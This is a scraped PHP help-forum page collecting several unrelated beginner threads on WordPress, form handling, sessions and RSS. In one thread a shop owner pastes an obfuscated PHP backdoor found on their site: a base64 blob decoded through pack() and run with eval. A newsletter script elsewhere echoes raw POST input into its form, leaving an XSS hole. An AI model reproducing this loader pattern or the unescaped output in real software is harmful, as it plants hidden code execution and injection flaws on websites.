PHP - Old Site, Old Code, Need Help
Hi Guys,
new to php and taken on the on the challenge of a web site written years ago, using old code. Various parts are failing but the main issue is the join form. I have gone over and over it but I cannot find the issue. I’ve asked else where but just been told to post the error. The only error I get is that the fields are not filled in, when they are. If I post code ( if it allows ) can someone please help me? Similar TutorialsIf anybody could give me code for that gets site views, that would be really nice. I have a wordpress site that has a ribbon graphic on the index page posts that are in the category "features", it works great when it's like this: Code: [Select] <?php //for better seo, we use alt and titles in h query_posts('category_name=features&showposts=4'); while(have_posts()):the_post(); $attrs = array( 'src' => $src, 'class' => "", 'alt' => get_the_title(), 'title' => get_the_title(), );?> <!-- Blog entry --> <div class="blog_entry"> <!-- inside --> <div class="inside"> <!-- Thumbnail --> <div class="thumbnail"> <a href="<?php the_permalink(); ?>" title="<?php the_title();?>"><?php the_post_thumbnail('blogsmall', $attr );?></a> </div> <!-- /Thumbnail --> <!-- Resume --> <div class="resume"><div class="featured_banner2"></div> <h3 class="cufon"><a href="<?php the_permalink();?>"><?php the_title();?></a></h3> <p class="bigline"><?php the_excerpt();?></p> <br> <?php if(function_exists('the_ratings')) { the_ratings(); } ?> </div> <!-- /Resume --> but when going to the category view it doesn't work to just add the Code: [Select] <div class="featured_banner2"></div> as all post types get the ribbon. So I am trying to use a PHP if statement to only apply that featured_banner2 div line to posts with the category name of "features" I am a total php newbie, so far I tried this but it obviously is not right, I am trying though! lol: Code: [Select] <!-- Resume --> <div class="resume"> <?php if ( in_category( 'features' )) { <div class="featured_banner2"></div> } endif;?> <h3 class="cufon"><a href="<?php the_permalink();?>"><?php the_title();?></a></h3> <p class="bigline"><?php echo get_the_excerpt();?></p> </div> <!-- /Resume --> I have a lot of garbly gook in my zen cart. I am NOT a php programmer, but I do well enough with my ZenCart to manage.
I have a code that starts like this:
<?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQY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XRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at"; if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php
My gut says this is way wrong? thoughts?
This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=317142.0 hello dear friends if we want to put a facebook-fanbox on a wordpress-page - so that it looks like this he http://www.designche...ial-media-tabs/ we can go like so: we take the test from the facebook-deeloper site: https://developers.f...e-box-for-pages Initialize the JavaScript SDK using this app: books-page... <div id="fb-root"></div> <script>(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_GB/sdk.js#xfbml=1&appId=473241986032774&version=v2.0"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));</script> Include the JavaScript SDK on your page once, ideally right after the opening <body> tag. or do i need to inclue this <div class="fb-like-box" data-href="https://www.facebook.com/FacebookDevelopers" data-colorscheme="light" data-show-faces="true" data-header="true" data-stream="false" data-show-border="true"></div>` love to hear from you hi guys, i just finished highschool starting to do webdesign at uni, and for one of my major project i want to make a search engine as simple as google that searches for example 10 websites and with the keyword given it brings out the results. im doing a website on jetski sales results so if someone want to buy a jetski they come to this website and just choose the choose one from those 10 website without going to them individually. so it brings out all search resuts in a nice results format, and when you click on each results it take you to the website but i wanna be able to show their photo and price so just like brings their results into your site but combing 10 website results. and i need to have an advance search option where they can search year price age of jetski, and all these variables are also in the 10 websites that im getting the results from. i have been doing some searching and i cant get my head around i need some help LOL i dont wanna fail... cheers guys Hi I'm currently in the process of re-developing a website for a client in Wordpress. I've completed the work apart from the fact that on the old site the client has a webpage with an email subscription form for subscribing to a newsletter. The form takes a 'Name' and 'Email Address' and writes these to a MySQL database in the back end. I've tried adding the code to a page in wordpress and have a few plugins which allow PHP code execution on both the sidebar and page but when the button is clicked to submit the subscription nothing appears to happen as on the origonal page. I really need to know whether this type of code could be imported into Wordpress and made to work or how to go about writing a wordpress page that will write to the same database. Any advice on this would be helpful as I'm not a strong php coder. The Code is as follows: There's a contact.php page on the origoanl site that calls inc-mailing-list.php that also referrences a mysqlconnections.php file I've put all the code below for referrence. Origonal Site: contact.php Code: <?php session_start(); $string = strtoupper($_SESSION['string']); $userstring = strtoupper($_POST['userstring']); session_destroy(); ?> HTML PAGE FORMATTING (REMOVED FOR THE POST) <?php include("inc-mailing-list.php"); ?></TD> <script type="text/javascript"> var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript"> try { var pageTracker = _gat._getTracker("UA-9716450-1"); pageTracker._trackPageview(); } catch(err) {}</script></body> </html> INC-MAILING-LIST.PHP <?php require_once('Connections/mysqlconnection.php'); ?> <?php /* In contact.php session_start(); $string = strtoupper($_SESSION['string']); $userstring = strtoupper($_POST['userstring']); session_destroy(); */ ///// Anti sql injection if (!function_exists("GetSQLValueString")) { function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "") { $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue; $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue); switch ($theType) { case "text": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "long": case "int": $theValue = ($theValue != "") ? intval($theValue) : "NULL"; break; case "double": $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL"; break; case "date": $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL"; break; case "defined": $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue; break; } return $theValue; } } //// Site config $siteName = "South Wales Art Society"; $siteURL = "www.southwalesartsociety.co.uk"; $siteEmail = "info@southwalesartsociety.co.uk"; ///// Establish the current date/time as a variable $now = date('Y-m-d H:i:s'); // Current date //// Call mailing lists mysql_select_db($database_mysqlconnection, $mysqlconnection); $query_callMailingLists = "SELECT * FROM content WHERE contenttype = 501 AND onlinestatus = '1' ORDER BY displayorder ASC"; $callMailingLists = mysql_query($query_callMailingLists, $mysqlconnection) or die(mysql_error()); $row_callMailingLists = mysql_fetch_assoc($callMailingLists); $totalRows_callMailingLists = mysql_num_rows($callMailingLists); //// Unsubscribe if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "elist") && ($_POST["subscription"] == "unsubscribe") && (strlen($_POST["email"]) > 4) && ($string == $userstring) && (strlen($string) > 4)) { $deleteSQL = sprintf("DELETE FROM content WHERE email=%s AND contenttype = 500", GetSQLValueString($_POST['email'], "text")); mysql_select_db($database_mysqlconnection, $mysqlconnection); $Result1 = mysql_query($deleteSQL, $mysqlconnection) or die(mysql_error()); $status = "1"; //SEND CONFIRMATION EMAIL $to = $_POST['email']; $subject = $siteName.' Mailing List'; $body = 'Your email address has been removed from the '.$siteName.' mailing list.' . "\n\r"; $body .= $siteURL . "\n\r"; $headers = 'From: '.$siteEmail . "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($to, $subject, $body, $headers); } /////////////////// SUBSCRIPTION //////////////////////// // Insert comment if sent and valid if ((isset($_POST["MM_insert"])) && ($_POST["MM_insert"] == "elist") && ($_POST["email"] != "") && ($_POST["subscription"] == "subscribe") && ($string == $userstring) && (strlen($string) > 4)) { //////////////////////////////////////////////////////////////////////////////////// ///////////////////////////// COUNT AND JOIN TAGS ////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// $tagCombination1 = ""; // Default value to define variable. $tagTotal = ""; // Default value to define variable. if (isset($_POST['TagsTotal1'])) { $tagTotal = $_POST['TagsTotal1'];} $tagNumber = 0; do { $tagNumber = $tagNumber+1; if (isset($_POST['Tag-1-'.$tagNumber])) $tagCombination1 = $tagCombination1.",".$_POST['Tag-1-'.$tagNumber]; // DISREGARD UNSELECTED TAGS } while ($tagNumber <= $tagTotal); // LOOP UNTIL ALL TAGS HAVE BEEN COMBINED $tagCombination1 = $tagCombination1.","; // ADD A COMMA TO THE END TO GET CORRECT SEARCH PARAMETERS $tagCombination1 = str_replace(",,",",",$tagCombination1); // CLEAR OUT ANY DOUBLE COMMAS //////////////////////////////////////////////////////////////////////////////////// /////////////////////////// COUNT AND JOIN TAGS END //////////////////////////////// //////////////////////////////////////////////////////////////////////////////////// $insertSQL = sprintf("INSERT INTO content (contenttype, title1, email, date_added, tags1) VALUES (%s, %s, %s, %s, %s)", GetSQLValueString(500, "int"), GetSQLValueString($_POST['name'], "text"), GetSQLValueString($_POST['email'], "text"), GetSQLValueString($now, "text"), GetSQLValueString($tagCombination1, "text")); mysql_select_db($database_mysqlconnection, $mysqlconnection); $Result1 = mysql_query($insertSQL, $mysqlconnection) or die(mysql_error()); $status = "2"; //SEND CONFIRMATION EMAIL $to = $_POST['email']; $subject = $siteName.' Mailing List'; $body = 'Thank you. Your name has been added to the '.$siteName.' mailing list.' . "\n\r"; $body .= $siteURL . "\n\r"; $headers = 'From: '.$siteEmail . "\r\n" . 'X-Mailer: PHP/' . phpversion(); mail($to, $subject, $body, $headers); } ?> <div id="signup" > <H5>Sign Up For Our Mailing List</H5> <?php if (($_POST['email']) && ($status == "1")) { ?> <br /><strong>Thank you, you have been removed from the mailing list.</strong> <?php } elseif (($_POST['email']) && ($status == "2")) { ?> <br /><strong>Thank you, you have been added to the mailing list.</strong> <?php } else { ?> <form name="elist" method="POST" action=""> <?php if (($_POST['email']) && ($status != "2")) { ?><p class="red"><strong>Please complete your details and enter the code.</strong></p><?php } // Error ?> <br /> Name: <input name="name" type="text" value="<?php echo $_POST['name']; ?>" /><br /> Email: <input name="email" type="text" value="<?php echo $_POST['email']; ?>" /><br /> <input name="subscription" type="radio" id="subscription_0" value="subscribe" <?php if($_GET['unsubscribe']!="yes") { ?>checked="checked"<?php } // ?> /> Subscribe<br /> <input type="radio" name="subscription" value="unsubscribe" id="subscription_1" <?php if($_GET['unsubscribe']=="yes") { ?>checked="checked"<?php } // ?>/> Unsubscribe<br /> <br /> <?php /*?>Select which information you would like to receive:<br /> <?php $tagNumbers = 0; do { $tagNumbers = $tagNumbers+1;?> <label><input <?php if (!(strcmp($row_callMailingLists['id'],1000))) {echo "checked=\"checked\"";} ?> name="Tag-1-<?php echo $tagNumbers; ?>" type="checkbox" value="<?php echo $row_callMailingLists['id']; ?>" /><?php echo $row_callMailingLists['title1']; ?></label><br /> <?php } while ($row_callMailingLists = mysql_fetch_assoc($callMailingLists)); ?><br /><br /> <input type="hidden" name="TagsTotal1" value="<?php echo $totalRows_callMailingLists; ?>" /> USE THE TWO HIDDEN FIELDS BELOW AS THERE IS ONLY ONE LIST <?php */?> <input type="hidden" name="Tag-1-1" value="1000" /> <input type="hidden" name="TagsTotal1" value="1" /> <img src="/captcha/imagebuilder.php" alt="" border="0" /><br /><br /> <small>Please enter the code shown above.</small><br /> <input maxlength="8" size="8" name="userstring" type="password" value="" /><br /><br /> <input name="Submit" type="submit" value="Submit" /><br /> <input type="hidden" name="datesubscribed" value="<?php echo date('Y-m-d H:i:s'); ?>" /> <input type="hidden" name="MM_insert" value="elist" /> </form> </div> <?php } // ?> <?php mysql_free_result($callMailingLists); ?> I have a Google Adsense code that I am saving to the wp_options table. I can successfully save and retrieve the variable containing the google adsense code but it doesn't do anything except display it as plain text on screen. For some reason, this include function is putting a "1" on my website, why? <?php $link ='index.php?sent'; if (!isset($_GET['sent'])) echo include('contact.php'); ?> Thanks! I have several "sites" located in my html directory, and each has a "general" access point and an "administrator" access point:
/var/www/html/site1/index.php /var/www/html/site1/administrator/index.php /var/www/html/site2/index.php /var/www/html/site2/administrator/index.php /var/www/html/site3/index.php /var/www/html/site3/administrator/index.phpAll sites are similar except that data will be specific to site1, site2, or site3, etc. Users who log onto /var/www/html/siteX/index.php are totally unrelated to those who logon to /var/www/html/siteX/administrator/index.php, will have different logon credentials, are stored in different DB tables, and each should have their own session. If a user logs off of either the general or administrator site, it should not effect the other site even if they were previously logged on to both on the same PC (and of course not effect other sites). When a user logs off, I would like to destroy their previous cookie and associated session. Users for either will only use https. I am using Apache to rewrite https://www.mysite.com/ to https://mysite.com/. While I named the administrator site "administrator" above, the administrator user has the ability to change the directory name. I am thinking I need to use session_set_cookie_params to specify where I wish the session cookie to be stored since /var/www/html/siteX/administrator/index.php is a sub-directory to /var/www/html/siteX/index.php, but am not really sure. Sorry for the cryptic post, but I am not very well versed in this subject. How would you recommend setting up cookies/sessions for this scenario? Thank you Not sure if I'm trying to achieve something totally crazy here, or if this is something pretty standard. Didn't have much luck with searching as I'm not fully down with all the terms. (A) I have one site providing an RSS feed. (B) I have one site I want to search, once for each of the items in the feed A. (C) I want the results of the search in (B) to be displayed on page (C). So for example, the feed on (A) says; apples bananas oranges cheese I want site (B) to search for each of those terms (by passing the item in the feed (A) to the ?search= part of the URL of that page) and then show the results from THAT search on page C. Bit of a complex one, let me know if you need me to clarify. Thanks for any help! now i use this code to show where the visitors came from to my site. <?php $referer=$_SERVER['HTTP_REFERER']; echo $referer; ?> now, i want to show the 5 latest vistors referer's site url on my site ? Hi, My first post here is a cry for help I have a Windows 2003 server running IIS6/PHP5, the server hosts multiple web sites. The problem is include files that are for site A are showing on site B (each site having its own includes as part of the site files in its own site folder), though not every time, its very random, sometimes the correct includes show, sometimes ones from another site on the same server. This only occurs where the include files for both sites have the same name, such as 'inc-header.php' for example. I can only assume PHP is caching includes and because they have the same name is showing the wrong one on other sites sometimes, if I rename them to something unique then the problem goes away, but its not a practical solution to rename all include files to unique names so I find myself looking for a 'real' fix. I have a feeling its to do with the include_path in the php.ini, but right now its disabled with a semi-colon, and I don't want to set one as I have no global includes, all includes are site specific. Any help would be very much appreciated! Phil Transferring data from sub-domain.site.com Reading sub-domain.site.com What is this all about? I'm going to put all .. images into a separate sub-domain eg: images.site.com. This would create a folder inside my public_HTML called "images" Now when sites have that Transferring data, and Reading... is this .. something relating to what I want. Facebook also does it, and they get their images for the site from a sub domain, how is it all done? I'm not sure if its entirely PHP, but I hope someone can help. Thanks I'm currently running a classified ads site and planning to display my own content from database combined with and external site rss. So here is what i got right now after the db query for the jobs ads (procedural php),
while ($row = mysqli_fetch_array($results, MYSQLI_ASSOC)){ echo '<div class="media margin-none"> <a class="pull-left bg-inverse innerAll text-center" href="#"><img src="'.$foto.'" share_alt="" width="100" height="100"></a> <div class="media-body innerAll"> <h4 class="media-heading innerT"> <a href="' . $row['title'] .'-da' . $row['id_ad'] . '" class="text-inverse">'. $remuneracion .' ' . substr(ucfirst(strtolower($row['title'])), 0, 53) . '</a> <small class="pull-right label label-default"><i class="fa fa-fw fa-calendar-o"></i> ' . $row['date_created'] . '</small></h4> <p>' . substr(ucfirst(strtolower($row['description'])), 0, 80) . ' ...</p>'; echo '</div> </div> <div class="col-separator-h"></div>'; } echo pagination($statement,$per_page,$page, $url_filtros, $filtros); ?>it is the while loop that i use to display ads from my database, what could be the best way to display (in this same loop?) other site's rss feed so i can show my content combined with the external rss? Thanks Hi I made a new design for my website and I made some changes. I want to use layout for my second site.
I'll like to know if my site is easier to browse through now and if you like the design better?. I test my site on internet explorer, chrome, and firefox. It is best to use site on better browsers like firefox and chrome to get a better experience of site. Thanks.
http://adjade.com
This topic has been moved to mod_rewrite. http://www.phpfreaks.com/forums/index.php?topic=318858.0 How do I only redirect the page when index.php is present? How can i make echo "<b>Site:</b> ".$req_user_info['site']."<br>"; linkable The site raw fron the db contains an site url. Regards I have the following code in html: <html> <head> <script type="text/javascript"> <!-- function delayer(){ window.location = "http://VARIABLEVALUE.mysite.com" } //--> </script> <title>Redirecting ...</title> </head> <body onLoad="setTimeout('delayer()', 1000)"> <script type="text/javascript"> var sc_project=71304545; var sc_invisible=1; var sc_security="9c433fretre"; </script> <script type="text/javascript" src="http://www.statcounter.com/counter/counter.js"></script><noscript> <div class="statcounter"><a title="vBulletin statistics" href="http://statcounter.com/vbulletin/" target="_blank"><img class="statcounter" src="http://c.statcounter.com/71304545/0/9c433fretre/1/" alt="vBulletin statistics" ></a></div></noscript> </body> </html> Is a basic html webpage with a timer redirect script and a stascounter code. I know a bit about html and javascript, but almost nothing about php. My question is: How a can convert this html code into a php file, in order to send a variable value using GET Method and display this variable value inside the javascript code where says VARIABLEVALUE. Thanks in adavance for your help. |